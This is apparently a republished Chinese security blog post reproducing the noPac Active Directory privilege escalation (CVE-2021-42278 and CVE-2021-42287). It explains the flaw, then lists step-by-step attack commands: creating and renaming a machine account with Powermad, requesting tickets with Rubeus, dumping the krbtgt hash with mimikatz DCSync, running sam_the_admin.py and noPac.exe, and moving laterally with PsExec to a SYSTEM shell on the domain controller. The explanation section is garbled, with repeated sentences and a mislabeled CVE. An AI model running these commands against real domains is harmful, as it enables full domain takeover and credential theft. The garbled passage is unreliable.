【安全漏洞】CVE-2021-42287CVE-2021-42278 域内提权
前言
網(wǎng)絡(luò)安全技術(shù)學(xué)習(xí),承認(rèn)??的弱點(diǎn)不是丑事。只有對(duì)原理了然于?,才能突破更多的限制。擁有快速學(xué)習(xí)能力的白帽子,是不能有短板的,有的只能是大量的標(biāo)準(zhǔn)板和幾塊長(zhǎng)板。知識(shí)?,決定看到的攻擊?有多?;知識(shí)鏈,決定發(fā)動(dòng)的殺傷鏈有多深。
一、漏洞原理
- CVE-2021-42278,機(jī)器賬戶的名字一般來(lái)說(shuō)應(yīng)該以$結(jié)尾,但AD沒(méi)有對(duì)域內(nèi)機(jī)器賬戶名做驗(yàn)證。
- CVE-2021-42287,與上述漏洞配合使用,創(chuàng)建與DC機(jī)器賬戶名字相同的機(jī)器賬戶(不以$結(jié)尾),賬戶請(qǐng)求一個(gè)TGT后,更名賬戶,然后通過(guò)S4U2self申請(qǐng)TGS
Ticket,接著DC在TGS_REP階段,這個(gè)賬戶不存在的時(shí)候,DC會(huì)使用自己的密鑰加密TGS
Ticket,提供一個(gè)屬于該賬戶的PAC,然后我們就得到了一個(gè)高權(quán)限ST。 - 假如域內(nèi)有一臺(tái)域控名為 DC(域控對(duì)應(yīng)的機(jī)器用戶為 DC),此時(shí)攻擊者利用漏洞CVE?2021?42287創(chuàng)建一個(gè)機(jī)器用戶SAMTHEADMIN?48),此時(shí)攻擊者利用漏洞 CVE-2021-42287 創(chuàng)建一個(gè)機(jī)器用戶 SAMTHEADMIN-48),此時(shí)攻擊者利用漏洞CVE?2021?42287創(chuàng)建一個(gè)機(jī)器用戶SAMTHEADMIN?48,再把機(jī)器用戶 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC
去申請(qǐng)一個(gè)TGT票據(jù)。再把 DC 的sAMAccountName 改為 SAMTHEADMIN-48。這個(gè)時(shí)候KDC就會(huì)判斷域內(nèi)沒(méi)有DC這個(gè)用戶,自動(dòng)去搜索DC。這個(gè)時(shí)候 KDC 就會(huì)判斷域內(nèi)沒(méi)有 DC 這個(gè)用戶,自動(dòng)去搜索 DC。這個(gè)時(shí)候KDC就會(huì)判斷域內(nèi)沒(méi)有DC這個(gè)用戶,自動(dòng)去搜索DC(DC$是域內(nèi)已經(jīng)的域控DC 的 sAMAccountName),攻擊者利用剛剛申請(qǐng)的 TGT 進(jìn)行
S4U2self,模擬域內(nèi)的域管去請(qǐng)求域控 DC 的 ST 票據(jù),最終獲得域控制器DC的權(quán)限。
二、手工復(fù)現(xiàn)
在這給大家分享一套學(xué)習(xí)思路與資料 》點(diǎn)擊查看《 希望能夠幫助大家!
1、操作流程
# 1. create a computer account $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose# 2. clear its SPNs Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose# 3. rename the computer (computer -> DC) Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose# 4. obtain a TGT Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap# 5. reset the computer name Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose# 6. obtain a service ticket with S4U2self by presenting the previous TGT Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]# 7. DCSync (mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt2、擁有一個(gè)普通域賬戶
net user xxx /domain3、嘗試攻擊
3.1、利用 powermad.ps1 新增機(jī)器帳號(hào)(域用戶默認(rèn)可以新建機(jī)器賬戶)
命令
Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose
3.2、clear its SPNs(清除SPN信息)
3.3、reset the computer name(重設(shè)機(jī)器名稱)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value “xxx” -Attribute samaccountname -Verbose
3.4、Request TGT (請(qǐng)求TGT)
.\Rubeus.exe asktgt /user:xxx /password:x’x’x’x /domain:xxx.xxx /dc:xx.xx.xx /nowrap
3.5、Change Machine Account samaccountname(改回原來(lái)屬性)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value “TestSPN” -Attribute samaccountname -Verbose
3.6、Request S4U2self(獲取票據(jù))
3.7、獲取 kbrtgt 用戶的 NTLM Hash
lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x
三、sam-the-admin復(fù)現(xiàn)
前置條件:
需要一個(gè)域用戶
利用過(guò)程:
拿主域控
python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell漏洞利用
漏洞證明
拿子域控
漏洞利用
漏洞證明
問(wèn)題
低版本的kali可能會(huì)面臨可以拿到票據(jù),但是無(wú)法列出命令執(zhí)行的窗口
四、impacket工具包復(fù)現(xiàn)
五、CVE-2021-42287/CVE-2021-42278 工具利用
1、下載地址
github
2、實(shí)際操作
2.1、掃描探測(cè)
.\noPac.exe scan -domain x.x.x -user x -pass 'x'
測(cè)試開始之前查看域控根目錄提示拒絕訪問(wèn)
dir \x.x.x\c$
2.2、直接利用(打子域是同樣方法)
此時(shí)已可以查看域控根目錄
ls \x.x.x\c$
注意問(wèn)題
如果使用cifs協(xié)議的話,時(shí)間過(guò)長(zhǎng)之后票據(jù)會(huì)失效
如果使用ldap協(xié)議的話,票據(jù)不會(huì)失效
2.3、深度利用
使用PsExec橫向移動(dòng)
通過(guò)noPac.exe使用cifs協(xié)議后,可以繼續(xù)通過(guò)PsExec64.exe直接橫向移動(dòng)到域控主機(jī)或者域內(nèi)其他機(jī)器
PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe利用過(guò)程
直接提升到system權(quán)限,查看IP確實(shí)為域控IP
網(wǎng)絡(luò)安全感悟
做網(wǎng)絡(luò)安全是一個(gè)長(zhǎng)期的過(guò)程,因?yàn)樽鼍W(wǎng)絡(luò)安全沒(méi)有終點(diǎn),不管是網(wǎng)絡(luò)安全企業(yè),還是在網(wǎng)絡(luò)安全行業(yè)各種不同方向的從業(yè)人員,不管你選擇哪個(gè)方向,只有在這條路上堅(jiān)持不懈,才能在這條路上走的更遠(yuǎn),走的更好,不然你肯定走不遠(yuǎn),遲早會(huì)轉(zhuǎn)行或者被淘汰,把時(shí)間全浪費(fèi)掉。如果你覺(jué)得自己是真的熱愛(ài)網(wǎng)絡(luò)安全這個(gè)行業(yè),堅(jiān)持走下去就可以了,不用去管別人,現(xiàn)在就是一個(gè)大浪淘金的時(shí)代,淘下去的是沙子,留下來(lái)的才是金子,正所謂,千淘萬(wàn)漉雖辛苦,吹盡狂沙始到金,網(wǎng)絡(luò)安全的路還很長(zhǎng),一生只做一件事,堅(jiān)持做好一件事!
總結(jié)
以上是生活随笔為你收集整理的【安全漏洞】CVE-2021-42287CVE-2021-42278 域内提权的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【安全漏洞】SRC另类思路分享:不受限制
- 下一篇: 如何使用ADLab搭建活动目录实验环境来